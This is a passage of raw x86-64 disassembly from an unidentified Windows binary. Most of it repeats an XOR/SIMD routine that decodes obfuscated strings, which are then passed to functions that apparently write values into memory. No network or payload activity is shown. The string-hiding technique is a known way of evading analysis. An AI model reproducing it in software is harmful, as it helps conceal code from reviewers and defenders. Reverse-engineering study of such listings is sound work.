punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140145bf8]
xorps xmm2, xmm0
movd dword [rbp + 0x580], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x584]
xorps xmm2, xmm1
movd dword [rbp + 0x584], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x580]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400a2870
mov dword [rbp + 0x1880], reloc.WLDAP32.dll_Ordinal_200
mov dword [rbp + 0x1878], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
lea rax, [rbp + 0x1880]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1878]
lea r8, [0x14016093c]
mov edx, 4
lea rcx, [rbp + 0x580]
call fcn.14003b8c0
movsd xmm0, qword [str.yKWTN]
movsd qword [rbp + 0x590], xmm0
mov eax, dword [0x140146b28]
mov dword [rbp + 0x598], eax
cmp byte [0x140146b2b], 0
je 0x1400a2a70
mov r8d, r13d
cmp r12d, 2
jl 0x1400a2a24
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.yKWTN]
xorps xmm2, xmm0
movd dword [rbp + 0x590], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x594]
xorps xmm2, xmm1
movd dword [rbp + 0x594], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x590]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400a2a40
mov dword [rbp + 0x1870], 0x64
mov dword [rbp + 0x18b8], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
lea rax, [rbp + 0x1870]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x18b8]
lea r8, [0x140160938]
mov edx, 4
lea rcx, [rbp + 0x590]
call fcn.14003b8c0
mov rbx, qword [0x1401a97b0]
lea rcx, [rbp + 0x90]
call fcn.140016cd0
movss xmm0, dword [rax]
subss xmm0, dword [rbx + 0x3930]
movss dword [rbp + 0x98], xmm0
mov dword [rbp + 0x9c], 0x41c80000
mov eax, dword [str.p_W_]
mov dword [rbp - 0x68], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x68], 0x48
xor byte [rbp - 0x67], 0x39
xor byte [rbp - 0x66], 0x3a
xor byte [rbp - 0x65], 0x3b
xor al, 0x3c
mov byte [rbp - 0x64], al
xor r8d, r8d
lea rdx, [rbp + 0x98]
lea rcx, [rbp - 0x68]
call fcn.140037850
test al, al
je 0x1400a2b5a
movd xmm0, dword [reloc.WLDAP32.dll_Ordinal_200]
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x1868], xmm0
mov rcx, qword [0x1401ab128]
add rcx, 0x280
mov r8d, 4
lea rdx, [rbp + 0x1868]
call fcn.14007e660
mov rbx, qword [0x1401a97b0]
lea rcx, [rbp + 0xa0]
call fcn.140016cd0
movss xmm0, dword [rax]
subss xmm0, dword [rbx + 0x3930]
movss dword [rbp + 0xa8], xmm0
mov dword [rbp + 0xac], 0x41c80000
mov eax, dword [0x1401448a8]
mov dword [rbp - 0x30], eax
movzx eax, word [0x1401448ac]
mov word [rbp - 0x2c], ax
mov byte [rbp - 0x30], 0x41
xor byte [rbp - 0x2f], 0x39
xor byte [rbp - 0x2e], 0x3a
xor byte [rbp - 0x2d], 0x3b
xor al, 0x3c
mov byte [rbp - 0x2c], al
xor byte [rbp - 0x2b], 0x3d
xor r8d, r8d
lea rdx, [rbp + 0xa8]
lea rcx, [rbp - 0x30]
call fcn.140037850
test al, al
je 0x1400a2c06
movd xmm0, dword [0x140160938]
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x1860], xmm0
mov rcx, qword [0x1401ab128]
add rcx, qword [0x1401ab108]
mov r8d, 4
lea rdx, [rbp + 0x1860]
call fcn.14007e660
mov rbx, qword [0x1401a97b0]
lea rcx, [rbp + 0xb0]
call fcn.140016cd0
movss xmm0, dword [rax]
subss xmm0, dword [rbx + 0x3930]
movss dword [rbp + 0xb8], xmm0
mov dword [rbp + 0xbc], 0x41c80000
mov rax, qword [str.kLSXUY___t]
mov qword [rbp + 0xc0], rax
cmp byte [0x140146347], 0
je 0x1400a2da0
cmp r12d, 2
jl 0x1400a2d63
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc0]
xorps xmm2, xmm1
movd dword [rbp + 0xc0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc4]
xorps xmm2, xmm1
movd dword [rbp + 0xc4], xmm2
jmp 0x1400a2da0
lea r9, [rbp + 0xc0]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400a2d70
xor r8d, r8d
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xc0]
call fcn.140037850
test al, al
je 0x1400a2de8
mov dword [rbp + 0x1858], 0
mov rcx, qword [0x1401ab128]
add rcx, 0x280
mov r8d, 4
lea rdx, [rbp + 0x1858]
call fcn.14007e660
call fcn.14000cdc0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140016940
mov eax, dword [0x140144b58]
mov dword [rbp + 0x948], eax
movzx eax, word [0x140144b5c]
mov word [rbp + 0x94c], ax
movzx eax, byte [0x140144b5e]
movsd xmm0, qword [0x140144b50]
mov byte [rbp + 0x94e], al
movsd qword [rbp + 0x940], xmm0
movaps xmm6, xmm14
mov r8d, r13d
cmp r12d, 2
jl 0x1400a2f4a
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144b50]
xorps xmm2, xmm0
movd dword [rbp + 0x940], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x944]
xorps xmm2, xmm1
movd dword [rbp + 0x944], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x940]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400a2f60
mov eax, dword [str.wmrnn_]
mov dword [rbp + 8], eax
movzx ecx, word [0x1401451a0]
mov word [rbp + 0xc], cx
movzx eax, byte [0x1401451a2]
mov byte [rbp + 8], reloc.WLDAP32.dll_Ordinal_79
xor byte [rbp + 9], 0x39
xor byte [rbp + 0xa], 0x3a
xor byte [rbp + 0xb], 0x3b
xor cl, 0x3c
mov byte [rbp + 0xc], cl
xor byte [rbp + 0xd], 0x3d
xor al, 0x3e
mov byte [rbp + 0xe], al
mov r9b, 1
movaps xmm0, xmm6
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 8]
call fcn.14007f140
movups xmm0, xmmword [0x140145a58]
movups xmmword [rbp + 0x11b0], xmm0
movsd xmm0, qword [0x140145a68]
movsd qword [rbp + 0x11c0], xmm0
movzx eax, word [0x140145a70]
mov word [rbp + 0x11c8], ax
cmp byte [0x140145a71], 0
je 0x1400a31c0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a3179
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x11b4]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400a3070
cmp r8d, 0x1a
jge 0x1400a31c0
movsxd rax, r8d
lea r9, [rbp + 0x11b0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400a3190
mov eax, dword [str.___D]
mov dword [rbp + 0x7a8], eax
movzx eax, byte [0x140144f5c]
movsd xmm0, qword [0x140144f50]
mov byte [rbp + 0x7ac], al
movsd qword [rbp + 0x7a0], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a32fe
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144f50]
xorps xmm2, xmm0
movd dword [rbp + 0x7a0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7a4]
xorps xmm2, xmm1
movd dword [rbp + 0x7a4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x7a0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400a3310
lea r8, [0x1401a982f]
lea rdx, [rbp + 0x11b0]
lea rcx, [rbp + 0x7a0]
call fcn.14007f300
movups xmm0, xmmword [0x1401456d8]
movups xmmword [rbp + 0xae0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400a3500
cmp r12d, 2
jl 0x1400a34c2
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xae4]
mov r8d, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400a33c0
jmp 0x1400a3500
lea r9, [rbp + 0xae0]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400a34d0
xor r9d, r9d
mov r8b, 1
lea rdx, [0x1401a5954]
lea rcx, [rbp + 0xae0]
call fcn.14003bf70
call fcn.140039fc0
call fcn.140039720
call fcn.140039720
movups xmm0, xmmword [0x140144e90]
movups xmmword [rbp + 0xb60], xmm0
movzx eax, byte [0x140144ea0]
mov byte [rbp + 0xb70], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a3699
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xb64]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a3590
cmp r8d, 0x11
jge 0x1400a36e0
movsxd rax, r8d
lea r9, [rbp + 0xb60]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400a36b0
mov eax, dword [0x1401466b8]
mov dword [rbp + 0x798], eax
movzx eax, byte [0x1401466bc]
movsd xmm0, qword [0x1401466b0]
mov byte [rbp + 0x79c], al
movsd qword [rbp + 0x790], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a381e
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401466b0]
xorps xmm2, xmm0
movd dword [rbp + 0x790], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x794]
xorps xmm2, xmm1
movd dword [rbp + 0x794], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x790]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400a3830
lea r8, [0x1401a97ff]
lea rdx, [rbp + 0xb60]
lea rcx, [rbp + 0x790]
call fcn.14007f300
movups xmm0, xmmword [str.qTWNRX]
movups xmmword [rbp + 0xf08], xmm0
mov eax, dword [0x140146c60]
mov dword [rbp + 0xf18], eax
movzx eax, byte [0x140146c64]
mov byte [rbp + 0xf1c], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a39f9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xf0c]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a38f0
cmp r8d, 0x15
jge 0x1400a3a40
movsxd rax, r8d
lea r9, [rbp + 0xf08]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400a3a10
movups xmm0, xmmword [str.VVWUNWP.a21_GqWRRTJZ_26____H]
movups xmmword [rbp + 0xaf0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400a3be0
cmp r12d, 2
jl 0x1400a3ba4
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xaf4]
mov r8d, dword [rbp + 0x17a0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
